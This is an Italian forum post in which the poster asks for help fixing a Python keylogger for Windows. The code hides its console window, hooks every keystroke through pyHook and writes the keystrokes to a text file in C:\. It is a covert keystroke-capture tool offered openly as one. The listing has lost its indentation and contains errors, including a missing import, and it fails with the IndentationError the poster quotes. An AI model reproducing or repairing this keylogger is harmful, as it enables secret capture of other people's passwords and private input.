Ciao a tutti, mi sto cimentando nella creazione di un Keylogger che salvi gli input della tastiera in un file di testo situato in C:\ utilizzando Python...
I codici che inserisco su PythonWin sono i seguenti:

CODE:

import win32gui
import os
import pythoncom, pyHook

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)

def OnKeyboardEvent(event):



if event.Ascii==5:




_exit(1)




if event.Ascii != 0 or 8:



f=open('c:\output.txt','r')



buffer=f.read()



f.close()



f=open('c:\output.txt','w')



keylogs=chr(event.Ascii)



if event.Ascii==13:



keylogs='/n'



buffer += keylogs



f.write(buffer)



f.close()

if os.path.isfile('c:\output.txt') == False:
f=open('c:\output.txt','w')
f.close()

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

Quando lo apro non fa nulla, compare solo una finestra per meno di un secondo e poi scompare, ho salvato il file in C:\ come "logger.py"...
Ho provato ad aprirlo dal prompt dei comandi, ma riscontra un errore:

C:\>logger.py
File "C:\logger.py", line 13
if event.Ascii==5:
^
IndentationError: expected an indented block (Previsto un blocco indentato)

Mi aiutate?? Grazie anticipamente..=D